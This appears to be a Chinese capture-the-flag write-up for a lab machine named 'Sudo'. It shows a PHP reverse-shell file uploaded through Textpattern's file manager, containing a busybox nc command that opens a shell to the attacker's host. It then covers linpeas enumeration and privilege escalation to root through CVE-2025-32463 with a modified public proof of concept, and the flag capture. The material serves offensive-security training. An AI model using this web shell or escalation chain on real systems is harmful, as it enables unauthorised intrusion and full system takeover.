


d.

h.

知

h

登



Textpattern

Content ▾

Presentation ▾

Admin ▾

My site

Write

Articles

Images


Files

Links

Categories

Deprecated: Textpattern\Tag\Registry::process(): Implicitly

Files

Upload file 

选择文件

 未选择任何文件

<input type="checkbox"/>	ID#	Name	Title
<input type="checkbox"/>	2 Download	aa.php	
<input checked="" type="checkbox"/>	3 Download	dd.php	
<input type="checkbox"/>	1 Download	mm.php	

2 / 5

```
php
<?php
```

```
exec("busybox nc 192.168.31.190 7777 -e
/bin/bash");

?>
```

```
root@kali: ~/opt/tools
python3 penelope/penelope.py -p 7777
[+] Listening for reverse shells on 0.0.0.0:7777 + 127.0.0.1 + 192.168.31.190
> Main Menu (R)  Clear (Ctrl-C)  Exit (q/Ctrl-C)
[+] Got reverse shell from 192.168.31.190 Linux-x86_64 assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3
[+] Interacting with session [1], Shell Type: PTY, Menu Key: F12
[+] Logging to /root/.penelope/sudo-192.168.31.193 Linux-x86_64/2025_07_15-04_41_37_342.log
www-data@Sudo:/var/www/html/files$
```

linpeas扫描一遍，发现有两个sudo，题目名字也是sudo。

```
1219
1220
1221 Files with Interesting Permissions
1222
1223 SUDO - Check easy privileges, exploits and write perms
1224 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
1225
1226 strace Not found
1227
1228 -rw-r--r-x 1 root root 640 Jul 27 2018 /usr/bin/chsh
1229 -rw-r--r-x 1 root root 536 Jul 27 2018 /usr/bin/chfn
1230 -rw-r--r-x 1 root root 440 Jul 27 2018 /usr/bin/newgrp
1231 -rw-r--r-x 1 root root 836 Jul 27 2018 /usr/bin/passwd
1232 -rw-r--r-x 1 root root 476 Apr 6 2024 /usr/bin/umount
1233 -rw-r--r-x 1 root root 636 Apr 6 2024 /usr/bin/su
1234 -rw-r--r-x 1 root root 35K Apr 6 2024 /usr/bin/umount
1235 -rw-r--r-x 1 root root 23K Jan 13 2022 /usr/bin/pkexec
1236 -rw-r--r-x 1 root root 1.2K Mar 26 2024 /usr/bin/0000
1237 -rw-r--r-x 1 root root 636 Jul 27 2018 /usr/bin/passwd
1238 -rw-r--r-x 1 root root 643K Jun 12 09:45 /usr/local/bin/sudo
1239 -rw-r--r-x 1 root messagebus 51K Jun 6 2023 /usr/lib/ibus-1.0/ibus-daemon-launch-helper
1240 -rw-r--r-x 1 root root 80K Mar 28 2017 /usr/lib/objexec/mcobject-get-device
1241 -rw-r--r-x 1 root root 483K May 9 08:48 /usr/lib/openssh/ssh-keygen
1242 -rw-r--r-x 1 root root 19K Jan 13 2022 /usr/libexec/polkit-agent-helper-1
1243
1244 SUDO
1245
1246 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
1247 -rw-r--r-x 1 root shadow 39K Feb 14 2019 /usr/sbin/unix_chkpwd
```

```
www-data@Sudo:/var/www/html/files$ which sudo
/usr/local/bin/sudo
```

查看系统使用的是哪一个,发现是/usr/local/bin/sudo (这个linpeasi说有但没打通)

然后又看了/usr/bin/sudo的版本

```
www-data@Sud0:/var/www/html/files$ /usr/bin/sudo -V
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2
```

这个版本存在CVE-2025-32463

<https://github.com/K1tt3h/CVE-2025-32463-POC>

下载下来了之后还需要修改一下

```
sudo -R xd /bin/true
/usr/bin/sudo -R xd /bin/true
```

将sudo -R xd /bin/true改成/usr/bin/sudo -R xd /bin/true(因为默认使用的是usr/local/bin/sudo)

./CVE-2025-32463-POC.sh

```
www-data@Sudo0:/tmp$ ./CVE-2025-32463-POC.sh
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

[sudo] password for www-data:
root@Sudo0:/#
```

获得了root权限

```
[sudo] password for www-data:
root@Sudo0:/# cat /root/root.txt
flag{root-257f425d-1ea4-4b8e-8dd8-69523f25d249}
root@Sudo0:/#
```